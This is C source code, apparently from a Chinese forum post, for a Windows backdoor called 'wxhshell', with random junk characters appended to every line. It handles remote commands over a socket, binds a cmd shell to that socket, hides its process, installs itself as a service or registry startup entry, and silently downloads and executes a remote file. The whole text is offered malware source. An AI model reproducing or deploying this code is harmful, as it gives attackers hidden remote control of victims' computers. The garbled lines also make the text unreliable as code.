  // 帮助 EC9D.afy&  
  case '?': { u\LG_/UJV1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :sO^b*e /  
    break; ;VM',40  
  } Ip c2Qsa  
  // 安装 S%+,:kq  
  case 'i': { ~q0g7?}&  
    if(Install()) '2)c;/-E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DXX(qk)6  
    else xW|^2k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r*$$82s  
    break; xX;@ BS  
    } P(iZGOKUs=  
  // 卸载 CbPCj.MH  
  case 'r': { )gM3,gSS  
    if(Uninstall()) WKVoqp}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qdepzo>E  
    else m ,B,dqT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iV+'p->/  
    break; RSL%<  
    } Jt-s6-2  
  // 显示 wxhshell 所在路径 -^A=U7  
  case 'p': { ?t;>]Wo;  
    char svExeFile[MAX_PATH]; Xxl>,QUA  
    strcpy(svExeFile,"\n\r"); )HZUCi/F]  
      strcat(svExeFile,ExeFile); \=n0@1Q=>  
        send(wsh,svExeFile,strlen(svExeFile),0); O<}^`4d  
    break; /WIO@c  
    } Z)iRc$;  
  // 重启 D@]gc&JN[  
  case 'b': { VyRU_<xP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZHPsGHA  
    if(Boot(REBOOT)) TTNgnP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -KzU''  
    else { /cmnX'z  
    closesocket(wsh);  $^&SEz  
    ExitThread(0); _W@SCV)yH  
    } 7lP3\7wD@9  
    break; fwR3=:5~  
    } /t "p^9!^  
  // 关机 G'|Emu=4  
  case 'd': { w8~J5XS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g4n& k  
    if(Boot(SHUTDOWN)) p)  x.Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b0\'JZ  
    else { B@ab[dm280  
    closesocket(wsh); iEDZ\\,  
    ExitThread(0); {?a9>g-BW  
    } d<*4)MRN  
    break; qF9rY)ifm  
    } 7Pt*V@DHS  
  // 获取shell j s(E-d/  
  case 's': { Bjg 21bw^  
    CmdShell(wsh); tykA69X\W  
    closesocket(wsh); pB @l+ n^  
    ExitThread(0); 6{O#!o*g  
    break; C=LXL1x2e  
  } ,+p&ZpH  
  // 退出 xx}R6VKU.  
  case 'x': { " mKMym2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x,9fOA  
    CloseIt(wsh); eYL7G-3  
    break; X^3 0a*sj  
    } j/zD`yd j  
  // 离开 `_2#t1`u  
  case 'q': { +MQvq\%tG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7f4R5c  
    closesocket(wsh); S}"?#=Q.%O  
    WSACleanup(); >40B Fxc  
    exit(1); Q:LyD!at  
    break; ~ "l a2  
        } vP G!S{4  
  } b0a'Y"oef4  
  } >K`.!!av,Y  
'-jKv=D+  
  // 提示信息 D\Y)E#%,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? Azpb}#  
} ':,6s  
  } nsyg>=j  
0/.#V*KM  
  return; 0XlX7Sk+  
} Ow\9vf6H  
>l$vu-k)~4  
// shell模块句柄 ~L(_q]  
int CmdShell(SOCKET sock) c ;3bX6RD*  
{ YQR*?/?a  
STARTUPINFO si; RJs_ S  
ZeroMemory(&si,sizeof(si)); SwQ.tK1p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <!,q:[ee5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,8( %J3J  
PROCESS_INFORMATION ProcessInfo; _ED1".&#f  
char cmdline[]="cmd"; (.,E6H|zI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); - Pz )O@ ;  
  return 0; ^_<>o[qE  
} IidZ -Il  
l,/q# )5[  
// 自身启动模式 $8&HpX#h$  
int StartFromService(void) rL URP2~  
{ y? [*qnPj  
typedef struct T[)) ful  
{ 0:G@a&Lr  
  DWORD ExitStatus; 1at$_\{.(  
  DWORD PebBaseAddress; Fm}O,=  
  DWORD AffinityMask; 81a&99k#  
  DWORD BasePriority; | -Di/.  
  ULONG UniqueProcessId; *9^CgLF  
  ULONG InheritedFromUniqueProcessId; m@JU).NKCS  
}   PROCESS_BASIC_INFORMATION; !W:QLOe6F  
Rn{q/h  
PROCNTQSIP NtQueryInformationProcess; 2h&pm   
;J\{r$q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tu_dkif'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OxF\Hm)(  
pb%#`2"  
  HANDLE             hProcess; s)=L6t^a6  
  PROCESS_BASIC_INFORMATION pbi; lGB7(  
X_ >B7(k   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^OG^% x"  
  if(NULL == hInst ) return 0; V`69%35*@  
>1ZMQgCG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cXJgdBwo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jn\\,n"6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JXj`  
r"fu{4aX  
  if (!NtQueryInformationProcess) return 0; va8:QHdU  
uMsKF%m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7k6rhf7H  
  if(!hProcess) return 0;  CjQ_oNI  
9+QLcb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NtTLvO6  
=mqV&FgRo  
  CloseHandle(hProcess); l O, 2  
j<deTK;.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b&~uK"O'7d  
if(hProcess==NULL) return 0; #Mbt%m  
C`mXEX5  
HMODULE hMod; ^e>v{AE%  
char procName[255]; 4v2(YJ%u  
unsigned long cbNeeded; (kp}mSw  
>\DXA)nc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EZP2Bb5g  
0nie>  
  CloseHandle(hProcess); D3.sR\Hxf  
%n}.E30 4  
if(strstr(procName,"services")) return 1; // 以服务启动 BpP\C!:^  
!+)$;`  
  return 0; // 注册表启动 `*oLEXYN  
} n^Z?u9VR  
;8 McG83  
// 主模块 PLLlo~Bb  
int StartWxhshell(LPSTR lpCmdLine) 62(WZX%b  
{ |P?8<8p  
  SOCKET wsl; wuYo@DDU#  
BOOL val=TRUE; q/OraPAB  
  int port=0; cJ8*[H<NV  
  struct sockaddr_in door; xC;$/u%'  
n; rOH[P  
  if(wscfg.ws_autoins) Install(); tW=0AtZl]  
Kg]( kP  
port=atoi(lpCmdLine); 95 ]%j\  
X<9DE!/)  
if(port<=0) port=wscfg.ws_port; Jy|Mfl%d  
.j&jf^a5  
  WSADATA data; 2:DpnLU5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wFqz.HoB  
mOXI"q]p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !d(!1fC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g<.8iW 'c  
  door.sin_family = AF_INET; |e< U%v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); It_yh #s  
  door.sin_port = htons(port); 8%xtb6#7M  
[2\`Wh:%P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )i!)Tv  
closesocket(wsl); SbI,9<  
return 1; S?3{G@!  
} rz7yAm  
!m(6/*PAl  
  if(listen(wsl,2) == INVALID_SOCKET) { Osy5|Ts  
closesocket(wsl); *<0g/AL  
return 1; |d`?wm-  
} $!vi:+ED  
  Wxhshell(wsl); Og*1pvN<  
  WSACleanup(); #&8 Opo(  
41uS r 1  
return 0; HdnSs0 /  
wUV%NZB  
} LB{a&I LG  
8 Zj>|u  
// 以NT服务方式启动 73<iK]*c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qJ!oH&/cD  
{ e5XikL u  
DWORD   status = 0; [&`>&u@MK  
  DWORD   specificError = 0xfffffff; =:0(&NCRq  
X1'Ze,34  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ud#8`/!mq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &1u ?W%(Px  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :<(<tz7dj  
  serviceStatus.dwWin32ExitCode     = 0; (CV=0{]  
  serviceStatus.dwServiceSpecificExitCode = 0; R;.WOies4  
  serviceStatus.dwCheckPoint       = 0; -"nYCF  
  serviceStatus.dwWaitHint       = 0; G7=8*@q>:  
a #0{tZd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $7bmUQ|  
  if (hServiceStatusHandle==0) return; CKR9APkv  
P<(mH=K  
status = GetLastError(); QA9vH'  
  if (status!=NO_ERROR) z"vgwOP su  
{ >5gzo6j/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bG&qgbN>  
    serviceStatus.dwCheckPoint       = 0; H5%I?ZXw4  
    serviceStatus.dwWaitHint       = 0; Qv=Z  
    serviceStatus.dwWin32ExitCode     = status; _k@l-Bj  
    serviceStatus.dwServiceSpecificExitCode = specificError; )/pPY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CFA>  
    return; 1 `AE]  
  } DtS{iH=s]  
A3$b_i@P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #3$|PM7,_  
  serviceStatus.dwCheckPoint       = 0; 0`thND)?O  
  serviceStatus.dwWaitHint       = 0; _ o(h]G1].  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a[!d)Y:zx  
} ;7A,'y4f  
 "O 'I  
// 处理NT服务事件,比如:启动、停止 ;C<A }  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n)H0;25L  
{ )K6{_~Kc\  
switch(fdwControl) '[E_7$d  
{ xr2:bu  
case SERVICE_CONTROL_STOP: }<S2W\,G  
  serviceStatus.dwWin32ExitCode = 0; LYF vzw>M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -XyuA:pxx  
  serviceStatus.dwCheckPoint   = 0; H}~^,B2;  
  serviceStatus.dwWaitHint     = 0; OE"Bb   
  { *Wau7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  M:$nL  
  } }.vy|^X  
  return; s#fmGe"8  
case SERVICE_CONTROL_PAUSE: 1mV0AE538  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6;*(6$;  
  break; TExlGAHo+O  
case SERVICE_CONTROL_CONTINUE: 2fk   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T{M:)}V  
  break; F&~vD  
case SERVICE_CONTROL_INTERROGATE: pp`U]Q5"gX  
  break; G<eJ0S  
}; a+i+#*8wm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `!8Z"xD  
} mx4*zj  
7q=0]Hrg(D  
// 标准应用程序主函数 19t*THgq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c%!wKoD  
{ |{K:.x#^  
8gxLL59  
// 获取操作系统版本 q}i87a;m  
OsIsNt=GetOsVer(); y^rg%RV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "LWuN>   
Uy:.m  
  // 从命令行安装 ?0a 0 R  
  if(strpbrk(lpCmdLine,"iI")) Install(); hdL2`5RFF  
t_dg$KB  
  // 下载执行文件 9="sx 8?  
if(wscfg.ws_downexe) { 6KG63`aQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WGx>{'LJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); +bn w,B><  
} AlxS?f2w  
OEW,[d  
if(!OsIsNt) { H/&Q,9sU21  
// 如果时win9x,隐藏进程并且设置为注册表启动 buXG32;  
HideProc(); e8 aV qq[  
StartWxhshell(lpCmdLine); t@n (a  
} U'G`Q0n  
else QEKFuY<E+  
  if(StartFromService()) bl<7[J.  
  // 以服务方式启动 z;fSd  
  StartServiceCtrlDispatcher(DispatchTable); . 6dT5x8u  
else lz 6 Aj  
  // 普通方式启动 A~V\r<N j  
  StartWxhshell(lpCmdLine); '[^2uQc  
Q ^rW^d  
return 0; }C1wfZ~F~  
}
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只看该作者 1 发表于: 2006-10-10
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